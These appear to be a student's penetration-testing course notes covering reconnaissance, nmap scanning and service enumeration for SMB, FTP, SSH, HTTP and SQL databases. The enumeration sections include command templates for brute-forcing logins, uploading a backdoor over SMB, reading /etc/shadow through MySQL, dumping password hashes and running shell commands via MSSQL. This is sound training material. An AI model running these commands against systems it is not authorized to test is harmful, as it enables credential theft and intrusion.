# PENETRATION TESTING NOTES COMPENDIUM

**INFORMATION GATHERING**

* Introduction to Information Gathering
* Passive Information Gathering
* Active Information Gathering

­­- Learn the difference between active and passive information gathering.

* Information gathering is the first step of any penetration test and involves fathering or collecting information about an individual, company, website, or system that you are targeting.
* The more information you have on your target, the more successful you will be during the latter stages of a penetration test.
* Information gathering is typically broken down into two parts:
  + Active info gathering – Interact directly with host, need authorization in a pen test.
  + Passive info gathering – Publicly accessible info.

What information are we looking for?

Passive Information Gathering

+ Identifying IP addresses & DNS information  
+ Identifying domain names and domain ownership information  
+ Identifying email addresses and social media profiles  
+ Identifying web technologies being used on target sites  
+ Identifying subdomains.

Active Information Gathering

+ Discovering open ports on target systems.  
+ Learning about the internal infrastructure of a target network/organization  
+ Enumerating info by probing target systems.

+ Engaging with employees for password spraying.

+ Calling the IT service desk to reset an account password.

PASSIVE RECON

**Website Recon & Footprinting**

What are some items we can look for?

+ IP addresses  
+ Directories hidden from search engines  
+ Names  
+ Email addresses  
+ Phone Numbers  
+ Physical Addresses  
+ Web technologies being used.

* Website could be hosted behind a proxy (Cloudflare, etc.)

whatis – DNS lookup utility

* The website does not necessarily know what to do with a domain name once it receives it, as it needs to resolve an IP address to that domain. (in order to communicate with that web server)
* If a web server is mapped to multiple different IP addresses, it could mean that the web server is being hosted behind a proxy!
* Displays IPv4 & Ipv6 info, as well as domain name for mail server.

Whatweb – Perform stealth scans of a website and display web technologies, including headers and scripting languages, a lot of info

Web HTTRack – Website Copier: Allows you to download a website from the Internet to a local directory. Will build the website recursively and display any subdomains and other web technologies.

* Available on the web and as a Linux executable.
* Useful for analyzing source code from a website.

Website Scouring – Look for any names including social media, alternate websites, subdomains, etc.

robots.txt – A text file that contains different entries, almost every website has it; if a website does not have it then they are potentially doing something wrong.

* It essentially allows the user to specify which folder or files they do not want to have search engines index. (Search engines can potentially reveal directories that should not be revealed to the public)
* Generally, is used to restrict visibility to directories of importance, such as administrative logins or management pages.

Sitemap(s).xml – A file, typically .xml, to essentially provide search engines with an organized way to index the website.

* Always look out for categories hidden on WordPress sites!

**Firefox extensions**

* BuiltWith (LIMITED FOR FREE USERS) – Technology profiler, will tell you what web technologies or content management systems are running on that website. (widgets, plugins, web frameworks, subdomains, etc.)
* Wappalyzer – Identifies web technologies on websites, relatively quick and provides brief info.

WhoIs Enumeration – An internet protocol, essentially a query and response protocol that is widely used for querying databases. Used for internet resources for the following types of information:

* Domain names
* IP Address blocks
* Autonomous systems

WhoIs has a web interface as well as a command-line utility on Kali.

It can be used to enumerate domain/registrar information

There are plenty of information in relation to the name servers, emails, phone numbers, etc.

DNS Sec: If it is enabled, information about the owner of the domain will be redacted.

Web Footprinting w/ Netcraft

Netcraft essentially collects all information including the WhoIs info, nameservers, TLS/SSL certificates, etc.

Netcraft will provide a lot of information regarding the host, however the best information for a penetration tester from all of these results is the network information.

IP address, domain name, Top Level Domain, DNS security extensions, IP delegation (for IP blocks), TLS/SSL certificate(relevant for SSL cert expiration dates and whether or not its valid or transparent), etc.

Web technologies are also accessible on the client and server side.

\* Wordpress generally is running MariaDB or MySQL

DNS Recon – Passive Information Gathering

dnsrecon – A python script that provides the ability to perform domain enumeration; Check all name system records for Zone Transfers. Enumerate General DNS records for a given Domain (MX, SOA, NS, A, AAAA, SPF, and TXT). Performs common SRV Record Enumeration, Top Level Domain (TLD) Expansion

dnsrecon has both a web interface and a Kali command-line interface

“dnsrecon -d (DOMAIN NAME)”

We are essentially trying to look for the name servers addresses, and any other records that follow the General DNS record formats listed above.

Proxies can tend to mislead some of the NS addresses

MX records are important to look at, for example: CloudFlare doesn’t proxy its mail servers very well.

It will also display if DNS Security is enabled/configured or not

\*A\* record: IP address of actual site

TXT and MX are for diagnostic and mail information respectively

DNSDumpster – Web interface that performs DNS recon and research, performing a lookup on records however it organizes and sorts information much better than dnsrecon.

Contains records similar to the DNS record types listed in the DNSRecon section (ex: MX, TXT, A, etc.).

Includes a graphical OSINT mapping infrastructure that maps the domain connections between a way that is understandable, points the different record types to their absolute name systems

Hierarchical view + domain mapping

Need to research more into this; could be beneficial for CPTC

WAF (Web Application Firewalls) Detection with wafw00f

Sends a normal HTTP request and analyzes the response

Analyzes the response and identifies solutions (whether the web app is being protected by a firewall)

Tells you about the firewall as well, not just that its protected

Wafw00f comes pre-packaged with Kali

“wafw00f (ADDRESS)”

You want to know that if the website is being protected by a WAF to strategize what the next steps are and allow you to target the correct address.

If a WAF is not detected on a potential critical website or webspace, that could mean it is vulnerable.

Allows you to test for multiple WAF instances instead of just individually (“-a” parameter)

If wafw00f spits back that it seems to be behind a WAF or security solution, we will need to detect the firewall with active recon.

Sublist3r – Subdomain Enumeration

Looking for subdomains that might have been indexed by search engines (Google, Bing, etc.)

Python tool used to enumerate websites using OSINT, used to gather/enumerate subdomains for the domain we are targeting

Utilizes different recon tools such as Netcraft, VirusTotal, DNSDumpster, ReverseDNS, etc.

Github repo, available in Kali repos, supports bruteforce but that is active recon

Contains a help page on the Github repo for Sublist3r

Not guaranteed 100% success every time, will attempt to search to try and see if a subdomain was indexed previously (that might be hidden now, but still accessible).

Automated process

“sublist3r -d “DOMAIN” -e “SEARCH ENGINE” (google,yahoo,bing,etc) -o “text file output path”

Might need a VPN if a search engine is blocking requests from this utility tool.

“-t” to limit the number of threads utilized, mainly used for the brute force attack (active recon)

Google Dorks

<https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06>

“site:ine.com inurl:admin”

“site:\*.ine.com”

“site:\*.ine.com intitle:admin”

“site:\*.ine.com filetype:pdf”

“intitle:index of” (Directory listing)

“cache: ine.com”

“inurl:password.txt” “inurl:robots.txt”

Wayback Machine – View earlier versions of a website for a historical view of the website.

GHDB – Google Hacking Database (exploit-db)

* Contains a multitude of Google Dork parameters that can be used for information gathering on Google.
* “site:gov.\* intitle:”index of” \*.csv passwords
* Can look up Google Dork search commands.

Email Harvesting – theHarvester

* Harvest emails that may have potentially been leaked and visible online.
* Github repo, installable Linux package
* <https://github>.com/laramies/theHarvester
* The Harvestor is an effective tool uses OSINT gathering to help determine a company’s external threat landscape on the Internet.
* The tool gathers emails, names, subdomains, Ips and URLs using multiple public data sources.

“theHarvester -d hackersploit.org -b google,linkedin”

“theHarvester -d hackersploit.org -b google,linkedin,yahoo,dnsdumpster,duckduckgo,crtsh”

* When we find emails pertinent to a target, the attackers can use that to utilize phishing, which will then lead us to initial access
* Password spray attack: When you find a password for an email, you can utilize that password that you received from one site to other sites (to exploit password reuse)

Leaked Password Databases

* <https://haveibeenpwned.com>
* Will determine if an email has been involved in a data breach/data leak
* Can be utilized to determine if an organization’s password policy is too lax.

ACTIVE RECON

DNS Zone Transfers

+ Domain Name System (DNS) is a protocol that is used to resolve domain names/hostnames to IP addresses.

+ During the early days of the internet, users would have to remember IP addresses of the sites that they wanted to visit. DNS resolves this issue by mapping a regular name to an IP address.

+ A DNS server (nameserver) is like a telephone directory that contains domain names and their corresponding IP addresses.

+ Public DNS servers have been set up by companies such as Cloudflare (1.1.1.1) and Google (8.8.8.8). These are popular DNS servers to utilize because they contain records of almost all domains on the Internet.

DNS Records

+ A – Resolves a hostname or domain to an IPv4 address  
+ AAAA – Resolves a hostname or domain to an IPv6 address  
+ NS – Reference to the domains nameserver  
+ MX – Resolves a domain to a mail server  
+ CNAME – Used for domain aliases  
+ TXT – Text record  
+ HINFO – Host Information  
+ SOA – Domain authority  
+ SRV – Service records  
+ PTR – Resolves an IP address to a hostname

DNS Interrogation

+ DNS interrogation is the process of enumerating DNS records for a specific domain  
+ The objective of DNS interrogation is to probe a DNS server to provide us with DNS records for a specific domain.  
+ This process can provide with important information like the IP address of a domain, subdomains, mail server addresses etc.

DNS Zone Transfer

+ In certain cases DNS server admins may want to copy or transfer zone files from one DNS server to another. This process is known as a zone transfer.  
+ If misconfigured and left unsecured, this functionality can be abused by attackers to copy the zone file from the primary DNS server to another DNS server.  
+ A DNS Zone transfer can provide penetration testers with a holistic view of an organization’s network layout.  
+ Furthermore, in certain cases, internal network addresses may be found on an organization’s DNS servers.

* “dnsrecon -d “zonetransfer.me”

DNSEnum performs active reconnaissance.

* Enumerate records that are publicly available.
* Perform a DNS Zone transfer automatically.
* Perform DNS bruteforce to identify records, more specifically subdomains, by identifying records that way.

+ /etc/hosts

* Can map an IP address to a local domain.
* This is because that address is not mapped to a domain on the Internet, making it only accessible locally.
* In order for a DNS zone transfer to work, the zone transfer functionality must be enabled on a nameserver, primarily the primary DNS nameserver.
* “dnsenum (DOMAIN)”
* “dig axfr (*zone transfer switch*) (RECORD)” – no bruteforce
* “fierce -dns (DOMAIN)”

NMAP – Network Mapper

* Discover systems or hosts on a network that you are connected to.
* Swiss-army knife when coming down to host discovery and device discovery.
* “ip a s” – Displays your host information and subnet
* “sudo nmap -sn (no port scan)” – Often referred to as a ping scan (SYN-443, ACK-80, ICMP).
* Scanning a 0/24 server will generally ALWAYS discover devices such as the router/default gateway (.1), your workstation (actual host, generally .2 on VMs), and then your VM.

+++++++

* A default NMAP scan will conduct a SYN scan on the 1000 most common ports.
* If a host displays that it is down, that might be because it is a Windows target system that is blocking ICMP requests or ICMP probes. (As explained in the result of the default scan)
* “nmap -Pn (IP ADDRESS)”
* Displays port, state, and service.
  + <https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers>
* “-p-“(Discover all ports 0-65535)
* “-p 80,445,3389” (Discover multiple different ports)
* “-p 21” (Discover one individual port)
* “-p1-1000” (Discover port range)
* “-F” (Discover most used 100 ports on the target system)
* “-vv” (Verbose, will display discovered ports WHEN they are discovered during scan)
* “-sV” (Discover service version, will make port scan slower)
* “-O” (Discover operating system) (Not always conclusive/accurate)
* “-sC” (Use default NMAP scripts to enumerate more information on the ports)
* “-oN” (Normal way to output to a text file)
* “-oX” (.XML format, can be imported into frameworks such as Metasploit)
* “-oA (Stores normal, .XML, and greppable file formats at once, stored as .nmap file)
* “-T paranoid | sneaky | polite | normal | aggressive | insane” (Timing template to slow down scan (potential IDS/IPS present on victim network) or speed up scan(no IDS on victim network)
  + T5 or T4 is generally not recommended on a public-facing network, T5 can send results and be considered a DoS.
* “-sU” (UDP scan instead of TCP)
  + This scan is relatively slow, use “—top-port (amount)” to only scan the top ports and make this scan faster.
* -“sS” (SYN stealth scan)
* “-A” (Aggressive scan, will combine -sV, -O, -sC into one command)
  + TCP scans generally yield more results, however doing a UDP scan is always helpful to discover potential UDP ports (such as DNS)
* Can conduct stealth scans or speedy scans (both have an upside and a downside)
* The more flags/parameters you put on a NMAP scan will cause it to slow down.

NetDiscover

* Sends ARP requests which resolve MAC addresses to IP addresses and vice versa.
* “sudo netdiscover -i eth0 -r 192.168.2.0/24”

**FOOTPRINTING & SCANNING**

+ Module 1 Mapping a Network

+ Module 2 Port Scanning

+ Basic Network concepts

+ Basic Linux familiarity

Mapping a Network

+ Scope – Negotiate with the client; provide them value to mitigate risks and harden networks without burdening the business.  
+ Discovery – Discover hosts and devices, etc.

Process

+ Physical Access

+ Physical Security – Testing guards/controls  
 + OSINT – Open source, DNS records, websites to find IP addresses or emails before interacting with the host  
 + Social Engineering

Sniffing

+ Passive Reconnaissance – TCPDump, Wireshark; collect IP and MAC addresses  
 + Watch network traffic

ARP

+ Address Resolution Protocol (RFC 826)  
 + Resolve IP addresses to MAC addresses  
 + “Who has 10.10.1.5? Tell 10.10.1.7  
 + “10.10.1.5” is at 00:0c:29:af:ea:d2”  
 + If you get a reply, ARP is enabled with that server.

ICMP

+ Internet Control Message Protocol (RFC 792)  
 + Diagnoses network connectivity issues, for example if packets are dropped.  
 + Traceroute – All the points from the destination to the source (packets)  
 + Ping – Asks for a reply; Type 8 – echo request

Tools

+ WIRESHARK  
 + ARP-SCAN  
 + PING  
 + FPING  
 + NMAP  
 + ZENMAP

Wireshark

* Try to find ARP response requests that map a MAC address to an IP address, or vice versa respectively.
* Pretty self-explanatory but can be confusing the more packet clutter there is in a packet capture file or instance.

ARP-Scan

* “sudo arp-scan -I tap0 -g 10.142.111.0/24”
  + Resolving addresses on the specified host and mapping the IP address to the MAC address (again, can be vice versa)

PING

* “ping (IP ADDRESS/DOMAIN)
* Bounce back packets from a host to see if they are responding or if the host is up.
* If a host is unreachable, it will display an unreachable message.

FPING

* “fping -I(interface) tap0 -g 10.142.111.0/24 -a (alive)
* “fping -I tap0 -g (HOST/SUBNET) -a 2>/dev/null”
* sudo arp-scan -I tap0 (HOST/SUBNET)

In some cases, hosts can be prevented from replying to ping scans.

In other cases, hosts can be prevented from replying to ARP scans.

Use both interchangeably to determine if a host is up, they work well in cohesion.

NMAP

“nmap -sn (HOST/SUBNET)”

Unlike the other singular scans that only use a specific packet to scan a target, NMAP will use a multitude of different scan techniques using different packet types to determine if a host is active.

ZENMAP

GUI version of nmap, open-source and available on all OSes

Input:

Target HOST/SUBNET

Profile: ping scan

Command: nmap -sn (HOST/SUBNET)

Topology gives a visual graph on the detected hosts.

NMAP SCAN NETWORK SCAN PAYLOADS

Three-way handshake determines if a host is active SYN -> SYN/ACK -> SYN

Stealth scans will not send the last SYN packet, and will instead reply with a RST (reset) packet

TCP – Service Version: SYN -> SYN/ACK -> ACK -> Banner -> RST + ACK

+ UDP (-sU) is obviously much slower, they are open/filtered, and can be sped up using -T or -A

+ Use the help age for NMAP to find every flag/parameter that is usable.

+ Always look at what the -sV command outputs to determine machine/server info and potential version vulnerabilities if applicable (dependent on the version).

Other tools

+ Zenmap – GUI NMAP

+ NMAP Automator – Based off the subnet you get it, it will run new scans and continue to enumerate

+ Masscan – Fast port scanner, multithreading

+ Rustscan – Uses Rust, operates at a lower level language and work much faster

+ Autorecon – Based off what it initially finds, it will run a deep scan and continue to scan the host (much like NMAP Automator)

ENUMERATION

Goals:

* Understand what service enumeration is.
* Identify common services and protocols.
* Service enumeration on those common services and protocols.
* Understand the process for enumerating unfamiliar protocols and services.

+ Servers and Services  
+ SMB  
+ FTP  
+ SSH  
+ HTTP  
+ SQL

What is a service?  
What is a server?  
What do they mean in Cyber?

* A sever is not just a machine, it also serves as a purpose and serves as something for the user that allows the machines connected to it to be utilized by other devices.
* Servers will pool resources over the network to allow for system and device collaboration.
* Windows
* MacOS
* Linux

SMB – Server Message Block; Windows implementation of a file share system, much like FTP.

* 139 & 445
* 139 – NetBios, used to be a larger part of SMB in older versions of Windows, sets up session for SMB.
* 445 – This is where SMB is hosted.
* To Mount: Network > Map network drive
* To Delete share: net use \* /delete

SMB is essentially a drive on the Windows machine that functions a lot like your regular SSD or HDD, except they can be accessed remotely through the SMB port.

“nmap -p445 –script=smb-protocols (IP ADDRESS)”

* Could potentially reveal misconfigurations dependent on the version (should show on the NMAP scan result) and dialects
* WannaCry utilizes this

“nmap -p445 –script=smb-security-mode (IP ADDRESS)”

* Could reveal if there are default configs or potentially a guest account on the SMB file server, allowing for access to a location that shouldn’t be public.

“nmap -p445 –script=smb-enum-sessions (IP ADDRESS)”

* Could display if a user is logged in if we don’t pass a user into it.

“nmap -p445 –script=smb-enum-sessions –script-args smbusername=(USERNAME),smbpassword=(PASSWORD) (IP ADDRESS)”

* Can view users that are logged in as well as display the user we are logged in as. WE WILL NEED CREDS TO SMB FOR THIS.

“nmap -p445 –script=smb-enum-shares (IP ADDRESS)”

* Enumerate what we have access to at the authentication level that SMB specifies.
* Will display results in a row format and determine if share types are hidden, accessible, etc. based on the result.
* IPC share is useful as its an anonymous session, allows you to utilize a “null” or anonymous session and lets you get in as a guest.
* print$ share is also useful to share printer info.

“nmap -p445 –script=smb-enum-shares –script-args smbusername=(USERNAME),smbpassword=(PASSWORD) (IP ADDRESS)”

* Utilizing the smb-enum-shares script as well as using a script argument to log in as a different user could potentially reveal more shares that you have access to as that user that you logged in as.

“nmap -p445 –script=smb-enum-users –script-args smbusername=(USERNAME),smbpassword=(PASSWORD) (IP ADDRESS)”

* Could also potentially enumerate users this way and see if they exist.
* Will display users that may not have been visible on the basic authentication account (guest).
* Could include assets to put in the writeup.
* Base command can give us users we could potentially use password spraying on

“nmap -p445 –script=smb-enum-groups –script-args smbusername=(USERNAME),smbpassword=(PASSWORD) (IP ADDRESS)”

* Enumerate groups and the users that are in those respective groups.

“nmap -p445 –script=smb-enum-services –script-args smbusername=(USERNAME),smbpassword=(PASSWORD) (IP ADDRESS)”

* Enumerate those potential services and, if applicable, can lead to exploits if there are services that are vulnerable or outdated.
  + It’s important to note that you can include multiple scripts in an nmap command by separating them with a comma.

SMBMap

* Program made in python that allows you to login and view shares based on the directory specification

“smbmap -u (USERNAME, guest in this case) -p “” (blank) -d . “NULL DIR” -H (HOST)”

“smbmap -u (USERNAME) -p (PASSWORD) -d . -H (HOST) -x ‘ipconfig’”

* If you have enumerated the SMB server and it is vulnerable, you could potentially execute the above command in the smbmap command (using -x flag) to reveal information about the host or potentially exploit it.

“smbmap -u (USERNAME) -p (PASSWORD) -d . -H (HOST) -L”

* Will display local network drives, net drives, or other mapped network drives.

“smbmap -u (USERNAME) -p (PASSWORD) -d . -H (HOST) -r ‘(DRIVE)’”

* Connect to drive and view contents if permissions allow

“smbmap -u (USERNAME) -p (PASSWORD) -H (HOST) –upload ‘(BACKDOOR FILE PATH)’ ‘(FILEPATH OF DESIGNATED UPLOADED FILE)’

* Example: “smbmap -u Administrator -p ‘smbserver\_771’ -H (HOST) –upload ‘/root/backdoor’ ‘C$\backdoor’
* Could potentially upload backdoors or other files to gain further access or further enumerate the machine (or exploits, could lead to a lot of stuff if we’re able to do this)

“smbmap -u (USERNAME) -p (PASSWORD) -H (HOST) –download ‘(FILEPATH)’

* Example: “smbmap -u Administrator -p ‘smbserver\_771’ -H (HOST) –download ‘C$\flag.txt’”
* Can download files and exfil different files

Linux Utilization of SMB – Samba Recon

* Can utilize -sC, -sV, or -O in an NMAP scan to enumerate OS or version specifics.

“nmap (HOST) -sU –top-port 25 –open -sV”

* Host enumeration on an NMAP scan, can display host discovery and version info.

MSFConsole (Metasploit Framework Console)

* “auxiliary/scanner/smb/smb\_version” – Enumerate SMB version
* “auxiliary/scanner/smb/sm2”
  + Enumerate if this host supports SMB2 for exploits
* “auxiliary/scanner/smb/smb\_enumshares”
  + Enumerates SMB shares through MSFConsole (might need to specify user/pass)
* “auxiliary/scanner/smb/smb\_login”
  + Dictionary attack, utilize a pass file and a previously enumerated user
  + Could also utilize hydra for this dictionary attack for the same result
* “auxiliary/scanner/smb/pipe\_auditor” – View if other services are piped to SMB
  + PIVOTING!

Nmblookup

* “nmblookup -A (HOST)”
* Utilizes the netbios protocol to connect to the Samba shares.

SMBClient

* “smbclient -L (LIST) (HOST) -N (Check for Null session)”
* “smbclient //(HOST)/(SHARES) -N (Log in to share with Null user)
* KEEP LOOKING FOR IPC SHARES
* “nmap (HOST) -p 445 –script smb-protocols” (in NMAP section)

RPCClient

* “rpcclient -U “” -N (no pass) (HOST)
  + Should open a session that you are connected to with RPCClient using a null user
* > “srvinfo” – Lists server info
* > enumdomusers – Enumerates domain users, can view RIDs for users
* > enumdomgroups – Enumerate groups, can view RIDs for groups
* > lookupnames (USER) – SID for specified user, can specify admin

Enum4Linux

* “enum4linux -o (HOST)”
* Should display relevant information regarding enumerating the host, for example OS version, server type, platform ID, etc.
* “enum4linux -U (HOST)”
* “enum4linux -S (HOST)” – Enumerate shares
* “enum4linux -G (HOST)” – Enumerate groups
* “enum4linux -i (HOST)” – Enumerate printers
* “enum4linux -r -u (USER) -p (PASS) (HOST) – Enumerate SIDs or just general enum

Dictionary Attacks (SMB)

Hydra

* “hydra -l (SINGLE USER) -P (PASS FILE) smb://(HOST)”
* Brute forces the SMB login for the user specified, using the password file for the attack.

FTP – File Transfer Protocol

* Pretty barebones, it’s a service on Port 21 that allows for file transfer between devices.
* If the FTP anonymous login script does not detect anon logins, could password spray with Hydra.
  + Anonymous login is a security vulnerability, its allowed by typing in “Anonymous” as the username and an empty password during the FTP login.
* “hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt $IP ftp”
* FTP generally follows a similar approach to Unix command-line language.
  + “get” allows you to download a file.
  + “put” allows to upload a file to the current FTP directory.
  + “cd” to change directories.
  + “ls” to view files in current directory.
* FTP Brute force with NMAP
* “nmap (HOST) –script ftp-brute –scriptargs userdb=(PATH\_USER\_FILE) -p 21”

SSH – Secure Shell

SSH – NMAP Scans

* Used for remote administration and allows you to interact with a remote machine over an encrypted network.
* “ssh (USER)@(HOST)” – General SSH connection
* “nc (HOST) (PORT)” – Can potentially enumerate SSH version and host info
* “nmap (HOST) -p 22 –script=ssh2-enum-algos” (IF ENUM POINTS SSH VERS to SSH2)
  + Enumerate all SSH algorithms that can be used to create the SSH key.
  + Useful: SSH-RSA key
* “nmap (HOST) -p 22 –script=ssh-hostkey –script-args ssh\_hostkey=full”
  + Displays full RSA, ECDSA, and ED25519 keys if they were applicable.
* “nmap (HOST) -p 22 –script=ssh-auth-methods –script-args=”ssh.user=(INPUT)”
  + View authentication types, the INPUT could be anything (admin, guest, etc.)
  + If a user has a “none-auth” login, this will NOT prompt them to authenticate themselves to login to the SSH server (VULNERABILITY)

SSH Dictionary Attack

* Can get around authentication potentially.
* Hydra can be utilized to brute force/utilize dictionary attack for this.
  + “hydra -l (USER) -P (PASS\_FILE) (HOST) ssh”
* “nmap (HOST) -p 22 –script ssh-brute –script-args userdb=(PASS\_FILE)
* Metasploit also has a module for this:
  + “auxiliary/scanner/ssh/ssh\_login”
  + Will brute force the SSH login.
* Some important options for this module:
  + Set USERPASS\_FILE – Much simpler than individually setting user/pass.
  + Set STOP\_ON\_SUCCESS = true – You get the idea
  + Set VERBOSE = true – Visual output on each tried user/pass on the CLI
  + This is a MAD slow module Chief.

HTTP – Hypertext Transfer Protocol – IIS (THE INTERNET)

* There is ALWAYS a backdoor.
* Always go to the website on a web browser if port 80 is open.
  + Could help enumerate the website!

WhatWeb

* “whatweb (IP/DOMAIN)”
* Seems to enumerate the web server based on some of its services.
* Could also enumerate if there are potential web attack vulnerabilities.

HTTPie

* “http (IP/DOMAIN)”
* View header info, server info, cookies, etc.

Dirb

* “dirb <http://(IP/DOMAIN)>”
* Enumerate potential directories on the web server.
* Utilizes the common.txt wordlist, as specified in its output.
* Gobuster is better, as it tells you status codes on its enumeration for each directory, meaning you can determine if that directory is accessible or not without having to manually access it on the web server.
  + The only thing that potentially makes Dirb better is that it will continue to enumerate the directories that it finds.

Browsh

* Enumerates graphical interface of the website, based on a URL.
* Renders the interface straight in the CLI, although it looks like dogshit.

HTTP – NMAP Scans

* “nmap (HOST) -sV -p 80 –script=http-enum”
  + Enumerates the services and potentially a few common directories.
* “nmap (HOST) -sV -p 80 –script=http-headers”
  + Display headers of website, more and more enumeration
* “nmap (HOST) -sV -p 80 –script=http-methods” –script-args http-methods.url-path=/(DIRECTORY/”
  + Enumerate a directory along with your general NMAP scan.
  + Reveal methods that could be risky.
* “nmap (HOST) -sV -p 80 –script=http-webdav-scan” –script-args http-methods.url-path=/webdav/”
  + This is only if the directory for WebDAV was enumerated, it doesn’t work obviously if that directory is not there.
  + Will display/enumerate WebDAV version and service info.

HTTP – Apache

* “nmap (HOST) -p 80 -sV –script=banner
  + Display server header, this is a default script that’s run with -sC.

Metasploit – HTTP

* “auxiliary/scanner/http/http\_version”
  + Will enumerate http version, much like the previous nmap command.
* “auxiliary/scanner/http/brute\_dirs”
  + Brute forcing the website in MSFConsole, much like dirb or gobuster.
  + Will utilize an already provided wordlist that comes with MSFConsole.
* “auxiliary/scanner/http/robots\_txt”
  + Enumerate the robots.txt file and find different directories/subdirectories.
  + Try to curl these different results, could potentially find something useful!

Curl

* “curl (IP/DOMAIN)”
* Will curl website info (header info, HTML info, etc. etc. etc.)

WGET

* “wget <http://(IP/DOMAIN)>
* Can download a file from a webserver based on the directory you give it.
* This means you can download the HTML version of a website or a directory within a website straight to your machine.

LYNX

* “lynx <http://(IP/DOMAIN)>”
* Relatively similar to BROWSH, however it’s much easier on the eyes.

Robots.txt

* The search engine utilizes it to understand which pages and/or files are accessible to spider and are included in search results.
* This could be helpful and tell us certain directories and/or subdirectories.

SQL – Databases

* Default Port 3306/tcp – MySQL
* “nmap (HOST) -sV -p 3306 –script=mysql-empty-password” – Enumerate users with empty passwords.
* “nmap (HOST) -sV -p 3306 –script=mysql-info” – Enumerate basic info about SQL database (service info, versions, etc.)
  + InteractiveClient will let you have access to the system through MySQL (VULNERABILITY)
* “nmap (HOST) -sV -p 3306 –script=mysql-databases –script-args=”mysqluser=’(USER)’,mysqlpass=’(PASS)’” – Enumerate SQL databases
* “nmap (HOST) -sV -p 3306 –script=mysql-users –script-args=”mysqluser=’(USER)’,mysqlpass=’(PASS)’” – Enumerate users through SQL
* “nmap (HOST) -sV -p 3306 –script=mysql-variables –script-args=”mysqluser=’(USER)’,mysqlpass=’(PASS)’” – Enumerate a LOT of DB information
  + Datadir = where everything is being stored
* “nmap (HOST) -sV -p 3306 –script-mysql-audit –script-args=”mysqlaudit.username=’(USER)’,mysql-audit.password=’(PASS)’,mysql-audit.filename=’/usr/share/nmap/nselib/data/mysql-cis.audit’”
  + This command will display the MySQL benchmarks to display what configurations are in place for the MySQL server.
* “nmap (HOST) -sV -p 3306 –script-mysql-query –script-args=”query=’select count(\*) from (DATABASE, TABLES);’,username=’(USER)’,password=’(PASS)’”
* “nmap (HOST) -sV -p 3306 –script=mysql-dump-hashes –script-args=”username=’(USER)’,password=’(PASS)’ ”
  + Dump user hashes.
* Note that for a lot of these, the USER and PASS need to be enumerated in order to run a lot of these scripts.
* Enumerating the system with the mysql-empty-password script is very helpful.

MySQL

* “mysql -h (HOST) -u (USER)” (Root tends to be the default admin)
  + “show databases;” – Displays all tables in the database.
  + “use (TABLE)” – Select a particular table.
  + “select \* from (TABLE);” – Select all rows (and all contents) from a table.
* “select \* load\_file(“/etc/shadow”);
  + If the used SQL user has the correct permissions, we could potentially load files straight from the machine the server is hosted on. (ENUMERATE THIS FIRST)
  + This command specifically is looking at the contents of /etc/shadow. I call this the gold mine of penetration testing.

Metasploit – SQL

* “auxiliary/scanner/mysql/mysql\_writable\_dirs” – Enumerates writable directories.
  + Key tip: “setg RHOSTS” allows you to set a global variable in MSFConsole.
  + Key tip 2: Set verbose to false, this module will display a lot of info.
    - Verbose option is in the “advanced” options.
  + Key tip 3: set password “”
  + Will check for writable directories and output those that are not writable that are ON the system running SQL.
* “auxiliary/scanner/mysql/mysql\_hashdump”
  + “set USERNAME (user)”
  + “set PASSWORD “” ” – Even though its already blank, still need to specify empty pass.
  + Will dump hashes of different users.
* “auxiliary/scanner/mysql/mysql\_login”
  + MySQL Login brute force
  + Remember, verbose to false, stop on success to true, and then username + wordlist.

MySQL – Dictionary Attacks

Hydra

* hydra -l (USER) -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt (HOST) mysql

Microsoft SQL – MSSQL

* Default Port 1433 – ms-sql-s
* Microsoft version for MySQL
* “nmap (HOST) -p 1433 -sV –script ms-sql-info”
  + Enumerate MS SQL basic server or service info.
* “nmap (HOST) -p 1433 –script ms-sql-ntlm-info –script-args mssql.instance.port=1433”
  + Enumerate system, computer, domain name info.
* “nmap (HOST) -p 1433 –script ms-sql-brute –script-args userdb=(USER WORDLIST PATH),passdb=(PASS WORDLIST PATH)
  + NMAP brute force login script.
* “nmap (HOST) -p 1433 –script ms-sql-empty-password
  + Enumerate users on the MSSQL with an empty password.
* “nmap (HOST) -p 1433 –script ms-sql-query –script-args mssql.username=(USER),mssql.password=(PASS),ms-sql-query.query=”SELECT \* FROM master..syslogins” -oN output.txt”
  + Output entire database of the records of logins on the system.
* “nmap (HOST) -p 1433 –script ms-sql-dump-hashes –script-args mssql.username=(USER),mssql.password=(PASS)
  + Dump user hashes
* “nmap (HOST) -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=(USER),mssql.password=(PASS),ms-sql-xp-cmdshell.cmd=”ip config”
  + Execute a shell command using SQL, however this command will run an IP config and display device IPs.
  + Could do “type c:\(FILE)” to basically cat or output a file (for Windows)

Metasploit - MSSQL

* “auxiliary/scanner/mssql/mssql\_login”
  + Module that will brute force the MSSQL login.
* “auxiliary/admin/mssql/mssql\_enum”
  + Enumerate a crap ton of database information.
* “auxiliary/admin/mssql/mssql\_enum\_sql\_logins”
  + Enumerate users that have logged into the SQL server.
* “auxiliary/admin/mssql/mssql\_exec”
  + Execute commands on the remote server.
  + CMD allows you to set any command for the module to run.
* “auxiliary/admin/mssql/mssql\_enum\_domain\_accounts
  + I mean, its in the name (its going to enumerate domain accounts)
  + Will display those domain accounts, if applicable, to the output.

VULNERABILITY ASSESSMENT

+ Vulnerabilities

+ Case Studies  
 + Heartbleed  
 + EternalBlue  
 + Log4J

+ Labs

+ Nessus  
 + Exploit DB

What is a vulnerability? (NIST Definition)

* A weakness in computational logic (e.g., code) found in software and hardware components that, when exploited, results in a negative impact on confidentiality, integrity, and availability.

+ Cybersecurity vulnerabilities are weaknesses in software/hardware that can be exploited by a threat actor.

+ Software  
+ Operating System

Found by:

* DevSecOps engineers
* Security Researchers
* Pen Testers (US)
* Software Developers
* Users, on accident?
* CVE (Common Vulnerabilities and Exposures)
  + Funded by DHS, CVEs monitored by MITRE.
* NVD (National Vulnerability Database)
  + NIST

CVE Identifiers

+ Also called:

+ CVE names  
 + CVE numbers  
 + CVE-IDs  
 + CVEs

+ Unique, common identifier

+ Examples  
 + CVE-2021-44228  
 + CVE-2014-0160  
 + CVE-2017-0143

Understanding Vulnerability Detail Pages

* Descriptions – What is it?
* Severity – Level of Criticality
* References – Proof of Concepts
* Weakness Enumeration – What has been collected?
* Known Affected Software Configurations – What was impacted?
